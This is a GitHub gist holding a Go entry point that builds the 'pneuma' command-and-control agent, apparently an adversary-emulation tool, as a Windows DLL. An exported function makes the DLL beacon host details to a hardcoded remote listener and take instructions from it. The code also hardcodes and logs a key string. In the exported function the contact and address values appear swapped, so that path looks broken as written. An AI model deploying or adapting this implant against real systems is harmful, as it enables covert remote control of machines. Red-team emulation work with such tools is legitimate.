Skip to content

Instantly share code, notes, and snippets.

@khyberspache
Created Jan 19, 2021
Embed
What would you like to do?
Example main.go for pneuma to compile into a shared library with an exported function on Windows
//+build cgo
package main
import "C"
import (
"flag"
"github.com/preludeorg/pneuma/sockets"
"github.com/preludeorg/pneuma/util"
"log"
"os"
"runtime"
"strings"
)
var key = "JWHQZM9Z4HQOYICDHW4OCJAXPPNHBA"
func buildBeacon(name string, group string) sockets.Beacon {
pwd, _ := os.Getwd()
executable, _ := os.Executable()
return sockets.Beacon{
Name: name,
Range: group,
Pwd: pwd,
Location: executable,
Platform: runtime.GOOS,
Executors: util.DetermineExecutors(runtime.GOOS, runtime.GOARCH),
Links: make([]sockets.Instruction, 0),
}
}
func main() {
agent := util.BuildAgentConfig()
name := flag.String("name", agent.Name, "Give this agent a name")
contact := flag.String("contact", agent.Contact, "Which contact to use")
address := flag.String("address", agent.Address, "The ip:port of the socket listening post")
group := flag.String("range", agent.Range, "Which range to associate to")
sleep := flag.Int("sleep", agent.Sleep, "Number of seconds to sleep between beacons")
useragent := flag.String("useragent", agent.Useragent, "User agent used when connecting")
flag.Parse()
agent.SetAgentConfig(map[string]interface{}{
"Name": *name,
"Contact": *contact,
"Address": *address,
"Range": *group,
"Useragent": *useragent,
"Sleep": *sleep,
})
sockets.UA = agent.Useragent
if !strings.Contains(agent.Address, ":") {
log.Println("Your address is incorrect")
os.Exit(1)
}
util.EncryptionKey = &agent.AESKey
log.Printf("[%s] agent at PID %d using key %s", agent.Address, os.Getpid(), key)
sockets.CommunicationChannels[agent.Contact].Communicate(agent, buildBeacon(agent.Name, agent.Range))
}
//export VoidFunc
func VoidFunc() {
agent := util.BuildAgentConfig()
agent.SetAgentConfig(map[string]interface{}{
"Contact": "remote-ip:2323",
"Address": "tcp",
})
sockets.UA = agent.Useragent
if !strings.Contains(agent.Address, ":") {
log.Println("Your address is incorrect")
os.Exit(1)
}
util.EncryptionKey = &agent.AESKey
log.Printf("[%s] agent at PID %d using key %s", agent.Address, os.Getpid(), key)
sockets.CommunicationChannels[agent.Contact].Communicate(agent, buildBeacon(agent.Name, agent.Range))
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment